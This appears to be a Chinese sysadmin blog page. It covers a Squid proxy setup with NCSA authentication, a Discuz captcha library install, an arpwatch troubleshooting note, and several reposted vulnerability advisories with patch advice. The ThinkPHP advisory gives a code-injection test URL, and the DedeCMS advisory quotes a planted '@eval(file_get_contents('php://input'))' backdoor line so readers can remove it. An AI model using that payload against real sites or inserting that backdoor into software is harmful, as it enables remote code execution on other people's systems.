Skip to content


Squid带验证(NCSA)的透明代理

NCSA验证辅助器相对流行,这归咎于它的简单性和历史原因。它将用户名和密码存储在一个单独的文本文件里,类似于Unix的/etc/passwd文件。这个密码文件格式最初是作为NCSA HTTP服务器项目的一部分发展而来的。在squid.conf里,只须指定密码文件的路径作为程序的单一命令行参数。squid已经发布到squid 3.x,这里仍然使用相对稳定的squid-2.6.STABLE23

一.安装squid wget http://www.squid-cache.org/Versions/v2/2.6/squid-2.6.STABLE23.tar.gz tar zxvf squid-2.6.STABLE23.tar.gz cd squid-2.6.STABLE23

编译优化参考 http://en.gentoo-wiki.com/wiki/Safe_Cflags/Intel#Core_2_Duo.2FQuad.2C_Xeon_51xx.2F53xx.2F54xx.2F3360.2C_Pentium_Dual-Core_T23xx.2B.2FExxxx.2C_Celeron_Dual-Core

gcc –version gcc (GCC) 4.1.2 20080704 (Red Hat 4.1.2-50)

CHOST=”x86_64-pc-linux-gnu” CFLAGS=”-march=core2 -mtune=generic -O2 -pipe” CXXFLAGS=”${CFLAGS}” export CHOST=”x86_64-pc-linux-gnu” export CFLAGS=”-march=core2 -mtune=generic -O2 -pipe” export CXXFLAGS=”${CFLAGS}” ulimit -HSn 65536 ./configure –prefix=/opt/squid-2.6.STABLE23 –with-maxfd=65536 –with-pthreads –enable-dlmalloc –enable-poll –enable-useragent-log –enable-referer-log –with-large-files –enable-default-err-language=Simplify_Chinese –enable-err-languages=”Simplify_Chinese English” –disable-internal-dns –enable-auth=”basic” –enable-basic-auth-helpers=NCSA make make install

NCSA认证需加编译时加上–enable-auth=”basic” –enable-basic-auth-helpers=NCSA

二.配置squid.conf文件 配置软链接方便管理

cd /opt/ ln -s ./squid-2.6.STABLE23 ./squid

去除squid配置文件的注释

cat /opt/squid/etc/squid.conf cat /opt/squid/etc/squid.conf.default |grep -v ^# |grep -v ^$ > /opt/squid/etc/squid.conf

或者编辑个新的,对外3128端口 vi /opt/squid/etc/squid.conf

#squid信息 visible_hostname proxy #联系人 cache_mgr administrator http_port 3128 transparent # 单机 icp_port 0 # 分配给squid的内存 cache_mem 500 MB cache_swap_low 90 cache_swap_high 95 # 超过此值不被缓存 maximum_object_size 500 KB # 装入内存的文件大小上限 maximum_object_size_in_memory 200 KB # 缓存类型,缓存目录,大小,一二级目录 cache_dir ufs /opt/squid/spool 4000 16 256 # 支持header的vary cache_vary on # 进程文件 pid_filename /var/log/squid/squid.pid # 使用apache格式日志 emulate_httpd_log on # 日志;设none可禁用 logformat combined %>a %ui %un [%tl] “%rm %ru HTTP/%rv” %Hs %h” “%{User-Agent}>h” %Ss:%Sh cache_store_log none cache_log /var/log/squid/cache.log access_log /var/log/squid/access.log combined #access_log none auth_param basic program /opt/squid/libexec/ncsa_auth /opt/squid/etc/passwd acl auth_user proxy_auth REQUIRED acl all src 0.0.0.0/0.0.0.0 acl manager proto cache_object acl localhost src 127.0.0.1/255.255.255.255 acl to_localhost dst 127.0.0.0/8 acl SSL_ports port 443 acl Safe_ports port 80 # http acl Safe_ports port 21 # ftp acl Safe_ports port 443 # https acl Safe_ports port 70 # gopher acl Safe_ports port 210 # wais acl Safe_ports port 1025-65535 # unregistered ports acl Safe_ports port 280 # http-mgmt acl Safe_ports port 488 # gss-http acl Safe_ports port 591 # filemaker acl Safe_ports port 777 # multiling http acl CONNECT method CONNECT hierarchy_stoplist cgi-bin ? acl QUERY urlpath_regex cgi-bin \? cache deny QUERY #不要相信ETag 因为有gzip acl apache rep_header Server ^Apache broken_vary_encoding allow apache http_access allow manager localhost http_access deny manager http_access deny !Safe_ports http_access deny CONNECT !SSL_ports #只充许认证用户 http_access allow auth_user http_access deny all #icp_access allow all cachemgr_passwd disable config shutdown authenticator offline_toggle #cachemgr_passwd none info stats/objects #cachemgr_passwd secretPP all # ip限制 #acl OverConnLimit maxconn 16 #http_access deny OverConnLimit #squid使用的用户组和用户 cache_effective_user nobody cache_effective_group nobody tcp_recv_bufsize 65535 bytes # 隐藏squid的版本信息 header_access Via deny all #显示服务器的ip,隐藏真实客户ip header_access X-Forwarded-For deny all coredump_dir /opt/squid-2.6.STABLE23/var/cache # 出错提示 error_directory /opt/squid/share/errors/Simplify_Chinese

三.相关目录

mkdir /opt/squid/spool chown nobody:nobody /opt/squid/spool mkdir /var/log/squid chown nobody /var/log/squid

初始化 /opt/squid/sbin/squid -z

2011/04/13 17:29:54| Creating Swap Directories

启动 /opt/squid/sbin/squid -s

四,squid常用命令 1,初始化你在 squid.conf 里配置的 cache 目录 #squid/sbin/squid -z 如果有错误提示,请检查你的 cache目录的权限。 2,对你的squid.conf 排错,即验证 squid.conf 的 语法和配置。 #squid/sbin/squid -k parse 如果squid.conf 有语法或配置错误,这里会返回提示你,如果没有返回,恭喜,可以尝试启动squid。 3,在前台启动squid,并输出启动过程。 #squid/sbin/squid -N -d1 如果有到 ready to server reques,恭喜,启动成功。 然后 ctrl + c,停止squid,并以后台运行的方式启动它。 4,启动squid在后台运行。 #squid/sbin/squid -s 这时候可以 ps -A 来查看系统进程,可以看到俩个 squid 进程。 5,停止 squid #squid/sbin/squid -k shutdown 这个不用解释吧。 6,重引导修改过的 squid.conf #squid/sbin/squid -k reconfigure 这个估计用的时候比较多,当你发现你的配置有不尽你意的时候,可以随时修改squid.conf,然后别忘记对你的 squid.conf排错,然后再执行此指令,即可让squid重新按照你的 squid.conf 来运行。 7,把squid添加到系统启动项 编辑 /etc/rc.d/rc.local 添加如下行: echo “65535″>/proc/sys/fs/file-max ulimit -HSn 65535 /opt/squid/sbin/squid -s 当然,并不是每个人都喜欢这种启动方式,你可以用你最习惯的方式;或者把它安装为服务。

#查看运行信息 /opt/squid/bin/squidclient -h 127.0.0.1 -p 3128 mgr:info

#crontab分割日志 20 0 * /opt/squid/sbin/squid -k rotate

五.iptables 添加3128为进入充许,INPUT为链名 iptables -A INPUT -p tcp -m tcp –dport 3128 -j ACCEPT 保存iptables /etc/init.d/iptables save

六.NCSA认证用户 生成用户及密码 htpasswd -c /opt/squid/etc/passwd user_c1g 添加用户 htpasswd /opt/squid/etc/passwd user_andy 修改用户密码可以vi编辑删除后再添加

七.htpasswd获取 htpasswd的获取有点麻烦,可以编译个apache来得到,在bin目录下有这个文件

wget http://apache.etoak.com/httpd/httpd-2.2.22.tar.gz tar zxvf httpd-2.2.22.tar.gz cd httpd-2.2.22 ./configure –preifx=/opt/httpd make make install #移动文件 cp /opt/httpd/bin/htpasswd /opt/squid/libexec/ #删除apache rm -rf /opt/httpd

八.浏览器上配置代理 傲游可以写入用户和密码,支持黑名单 firefox加Foxyproxy标准版,支持黑白名单但不能写入密码 360,ie,chrome相对不够方便点

九.去除验证的透明代理 squid.conf中去掉NCSA认证就是个透明代理

acl auth_user proxy_auth REQUIRED auth_param basic program /opt/squid/libexec/ncsa_auth /opt/squid/etc/passwd http_access allow auth_user

#把deny 改成allow

http_access deny all

参考:squid权威指南

Posted in Squid/varnish.

Tagged with , .


安装discuz启用flash验证码需要的ming库

近日不断有人换ip来暴力猜discuz密码,开启验证码机制可以减少成功率.

让php支持flash需安装ming库 http://www.libming.org/ 当前最新版为ming-0.4.4

一.安装ming

wget http://cdnetworks-kr-1.dl.sourceforge.net/project/ming/Releases/ming-0.4.4.tar.gz tar zxvf ming-0.4.4.tar.gz cd ming-0.4.4 ./configure make make install

二.安装php扩展 进入到php源码目录 /opt/php 为 /opt/php-5.2.17p1 的软链接

cd /home/c1g/src/php-5.2.17/ext/ming /opt/php/bin/phpize Configuring for: PHP Api Version: 20041225 Zend Module Api No: 20060613 Zend Extension Api No: 220060519 ./configure –with-php-config=/opt/php/bin/php-config make make install

查看是否生成ming.so ll /opt/php-5.2.17p1/lib/php/extensions/no-debug-non-zts-20060613/ -rwxr-xr-x 1 root root 367094 Apr 13 13:14 ming.so

三.配置php.ini 在php.ini中指定好扩展的目录和需加载的库 vi /opt/php/etc/php.ini

extension_dir = “/opt/php-5.2.17p1/lib/php/extensions/no-debug-non-zts-20060613/” extension = “ming.so”

重启php /opt/php/sbin/php-fpm reload

在phpinfo中可以看到

Ming SWF output library enabled Version 0.4.4

或用命令行查看 /opt/php/bin/php -m

[PHP Modules] bcmath ctype curl date dom eAccelerator filter gd hash iconv imagick json libxml mbstring mcrypt memcache mhash ming mysql mysqli openssl pcntl pcre PDO pdo_sqlite posix Reflection session shmop SimpleXML soap sockets SPL SQLite standard sysvsem tokenizer xml xmlreader xmlrpc xmlwriter Zend Optimizer zip zlib [Zend Modules] Zend Optimizer eAccelerator

四,discuz设置 discuz后台->全局->防灌水设置 设置开启Flash 验证码 用户->用户组->游客及相关用户组 启用防灌水验证码或验证问答机制 注意:用户权限一定要设置

参考:phpize不重新编译PHP实现扩展的安装

Posted in Discuz/Uchome/Ucenter, PHP.

Tagged with , , .


ThinkPhp web框架 php代码任意执行漏洞

漏洞版本: ThinkPHP 漏洞描述: ThinkPHP是一款国内使用比较广泛的老牌PHP MVC框架,有不少创业公司或者项目都用了这个框架

ThinkPHP不正确过滤用户提交的参数,远程攻击者可以利用漏洞以应用程序上下文执行任意PHP代码

测试方法:

本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负! index.php/module/action/param1/${@print(THINK_VERSION)} 安全建议: 用户可下载官方发布的补丁: http://code.google.com/p/thinkphp/source/detail?spec=svn2904&r=2838 或者或者直接修改源码: /trunk/ThinkPHP/Lib/Core/Dispatcher.class.php $res = preg_replace(‘@(w+)’.$depr.'([^’.$depr.’\/]+)@e’, ‘$var[\’\1\’]=”\2″;’, implode($depr,$paths)); 修改为 $res = preg_replace(‘@(w+)’.$depr.'([^’.$depr.’\/]+)@e’, ‘$var[\’\1\’]=”\2′;’, implode($depr,$paths)); 将preg_replace第二个参数中的双引号改为单引号,防止其中的php变量语法被解析执行。

来自sebug.net

Posted in 安全通告, 技术.

Tagged with , .


Oracle MySQL Server两个不明细节本地漏洞

发布时间: 2012-04-09 漏洞版本: Oracle MySQL 5.x 漏洞描述: MySQL是一个小型关系型数据库管理系统,开发者为瑞典MySQLAB公司,在2008年1月16号被Sun公司收购。

Oracle MySQL在实现上存在两个安全漏洞,可被本地利用造成一定的影响。 < 参考 http://dev.mysql.com/doc/refman/5.5/en/news-5-5-22.html > 安全建议: 厂商补丁:

Oracle

目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.oracle.com/technetwork/topics/security/

Posted in Mysql, 安全通告.

Tagged with , .


ImageMagick拒绝服务漏洞

发布时间: 2012-04-09 更新时间: 2012-04-09 危害等级: 中危
漏洞类型:
威胁类型: 远程 CVE编号: CVE-2012-0259

ImageMagick是一款Unix/Linux平台下开源的图像查看和编辑工具。 ImageMagick中存在拒绝服务漏洞,该漏洞源于在解析一个组件计数(components count)为0的JPEG EXIF 标签时“GetEXIFProperty()”函数(magick/property.c)中的一个错误。攻击者可利用该漏洞借助特制的JPEG图片,访问未初始化的或无效的内存。

目前厂商已经发布了升级补丁以修复此安全问题,补丁获取链接: http://www.imagemagick.org/discourse-server/viewtopic.php?f=4&t=20629 http://www.cert.fi/en/reports/2012/vulnerability635606.html

来源:www.imagemagick.org 链接:http://www.imagemagick.org/discourse-server/viewtopic.php?f=4&t=20629

来源:www.cert.fi 链接:http://www.cert.fi/en/reports/2012/vulnerability635606.html

来源:seclists.org 链接:http://seclists.org/oss-sec/2012/q2/19

来源:SECUNIA 名称:48679 链接:http://secunia.com/advisories/48679

Posted in Imagemagick, 安全通告.

Tagged with , .


libpng ‘png_set_text_2()’ 内存破坏漏洞

发布时间: 2012-04-01 更新时间: 2012-04-01 危害等级: 高危
漏洞类型:
威胁类型: 远程 CVE编号: CVE-2011-3048

libpng是多种应用程序所使用的解析PNG图形格式的函数库。 Libpng中存在漏洞,此漏洞源于在解析某些文本块时”png_set_text_2()”函数中的错误。攻击者可利用该漏洞借助特制PNG文件损坏栈内存,成功利用该漏洞可能导致执行任意代码。libpng 1.5.10之前版本、1.4.11版本、1.2.49版本和1.0.59版本中存在该漏洞。

目前厂商已经发布了升级补丁以修复此安全问题,补丁获取链接: http://www.libpng.org/pub/png/src/libpng-1.5.10-README.txt

来源:www.libpng.org 链接:http://www.libpng.org/pub/png/src/libpng-1.5.10-README.txt

来源:SECUNIA 名称:48587 链接:http://secunia.com/advisories/48587

Posted in 安全通告.

Tagged with , .


phpMyAdmin敏感信息泄露漏洞

phpMyAdmin是一个免费的WWW界面的mysql数据库管理工具。 phpMyAdmin 3.4.10.2之前的3.4.x版本中的show_config_errors.php中存在漏洞。当配置文件不存在时,远程攻击者可借助一个直接请求获取敏感信息(泄露关于丢失文件的安装路径的错误消息)。

Lempelf用的是phpMyAdmin 3.4.10.1 注意要升级了

目前厂商已经发布了升级补丁以修复此安全问题,补丁获取链接: http://www.mandriva.com/en/downloads/

来源: github.com 链接:https://github.com/phpmyadmin/phpmyadmin/commit/c51817d3b8cb05ff54dca9373c0667e29b8498d4

来源: www.phpmyadmin.net 链接:http://www.phpmyadmin.net/home_page/security/PMASA-2012-2.php

Posted in 安全通告.

Tagged with , .


织梦(DedeCMS)后门远程代码执行漏洞

DEDECMS是织梦内容管理系统,国内一款基于PHP+MySQL的技术开发的,支持多种服务器平台的PHP网站内容管理系统。

DedeCMS某些版本/include/shopcar.class.php文件中,被添加后门代码,远程未验证的攻击者利用该后门可以执行任意命令。 DedeCMS V5.7 SP1正式版

UTF-8 GBK版本疑似被植入一句话后门 shopcar.class.php被植入一句话@eval(file_get_contents(‘php://input’));

临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

*直接找到站点include目录下shopcar.class.php文件,去掉里面的代码 @eval(file_get_contents(‘php://input’));即可。

http://www.wooyun.org/bugs/wooyun-2010-05416

Posted in 安全通告.

Tagged with , .


Microsoft Windows远程桌面协议3389代码执行漏洞

Microsoft Windows是微软发布的非常流行的操作系统。 Microsoft Windows XP SP2与SP3, Windows Server 2003 SP2, Windows Vista SP2, Windows Server 2008 SP2, R2及R2 SP1,与Windows 7 Gold与SP1版本中的远程桌面协议(RDP)实现中存在漏洞,该漏洞源于没有正确处理内存中的数据包。远程攻击者可通过发送特制RDP数据包触发访问(1)没有正确初始化或者(2)已被删除的对象,执行任意代码。也称‘Remote Desktop Protocol Vulnerability’。 该漏洞已有修复补丁,如果未能及时安装补丁可采取以下临时修复措施: 方法一:禁用终端服务、远程桌面、远程协助和 Windows Small Business Server 2003 远程工作网站功能; 方法二:在企业周边防火墙中屏蔽TCP端口3389; 方法三:在运行 Windows Vista、Windows 7、Windows Server 2008 和 Windows Server 2008 R2 的受支持版本的系统上启用网络级别身份验证。

目前厂商已经发布了升级补丁以修复此安全问题,补丁获取链接: http://technet.microsoft.com/zh-cn/security/bulletin/ms12-020

来源: MS 名称: MS12-020 链接:http://technet.microsoft.com/security/bulletin/MS12-020

来源:SECUNIA 名称:48353 链接:http://secunia.com/advisories/48353

Posted in 安全通告.

Tagged with , .


DELL R410远程管理ip引起的arp问题

arpwatch 命令: 跟踪以太网地址和IP地址配对情况,通过E-mail的形式报告当前的变化。arpwatch使用pcap来监听本网卡和ARP数据包 参数

-d 输出调试信息 -N 使报告不能正常进行 -f 监听的ARP记录 -i 指定监听的网卡 -n 指定附加的本地网络 -r 不从网络上监听ARP信息,而是从文件中读取ARP的记录信息 -u 指定用户和用户组 -e 发送邮件给指定用户,非默认的root用户 -s 指定用户名作为返回地址,而不是默认的用户root

【系统报告信息】

ethernet broadcast :主机的MAC地址是广播地址 ip broadcast :主机的IP地址是广播地址 bogon :源IP地址不是本地子网地址 ethernet mismatch :源MAC地址与ARP数据包里面的地址不匹配 reused old ethernet address :MAC 地址发送变化 suppressed DECnet flip flop :禁止“flip flop”报告

本地的内网为192.168.0.0/24 服务器dell r410 系统centos5.x centos6.x

开启arpwatch #arpwatch

#tail -f /var/log/messages

Apr 1 11:58:06 c1g arpwatch: bogon 192.168.0.120 0:62:b9:5c:a4:41 Apr 1 11:58:11 c1g arpwatch: bogon 192.168.0.120 98:2b:cb:3d:37:62 Apr 1 11:58:23 c1g arpwatch: bogon 192.168.0.283 83:22:d6:a1:ad:31 Apr 1 11:58:29 c1g arpwatch: new station 220.188.155.1 0:23:e2:e1:ff:82 Apr 1 11:58:29 c1g arpwatch: bogon 192.168.0.120 98:2b:cb:49:bc:79 Apr 1 11:58:31 c1g arpwatch: bogon 192.168.0.120 c4:ca:d9:b6:4f:8 Apr 1 11:58:33 c1g arpwatch: bogon 192.168.0.120 98:2b:cb:3:ef:30 Apr 1 11:58:37 c1g arpwatch: bogon 192.168.0.120 0:62:b9:5c:a4:41 Apr 1 11:58:41 c1g arpwatch: bogon 192.168.0.120 98:2b:cb:3d:37:62 Apr 1 11:58:59 c1g arpwatch: bogon 192.168.0.120 98:2b:cb:49:bc:79 Apr 1 11:59:04 c1g arpwatch: bogon 192.168.0.120 98:2b:cb:3:ef:30 Apr 1 11:59:07 c1g arpwatch: bogon 192.168.0.120 0:62:b9:5c:a4:41 Apr 1 11:59:11 c1g arpwatch: bogon 192.168.0.120 98:2b:cb:3d:37:62

bogon 表示源IP地址不是本地子网地址 多台机器日志中都可以查到多个mac地址占用192.168.0.120 192.168.0.120这个ip我并没有配过 很奇怪的是mac就固定的这几个,不像是arp攻击

Apr 1 11:58:31 c1g arpwatch: bogon 192.168.0.120 c4:ca:d9:b6:4f:8 Apr 1 11:58:59 c1g arpwatch: bogon 192.168.0.120 98:2b:cb:49:bc:79 Apr 1 11:59:04 c1g arpwatch: bogon 192.168.0.120 98:2b:cb:3:ef:30 Apr 1 11:59:07 c1g arpwatch: bogon 192.168.0.120 0:62:b9:5c:a4:41 Apr 1 11:59:11 c1g arpwatch: bogon 192.168.0.120 98:2b:cb:3d:37:62

仔细对比的日志中的mac地址和现用的eth1相差一位; 联想到手上的一台r410启动时好像出现过192.168.0.120这个ip; 查了下资料dell的远程管理ip地址默认为192.168.0.120; 立马测试了下,在启动到SAS后,按ctrl+c进入IP管理disabled此项 再启动后就少了这个mac地址,证明有效

Posted in IDC, Linux 命令, 安全.

Tagged with , , , .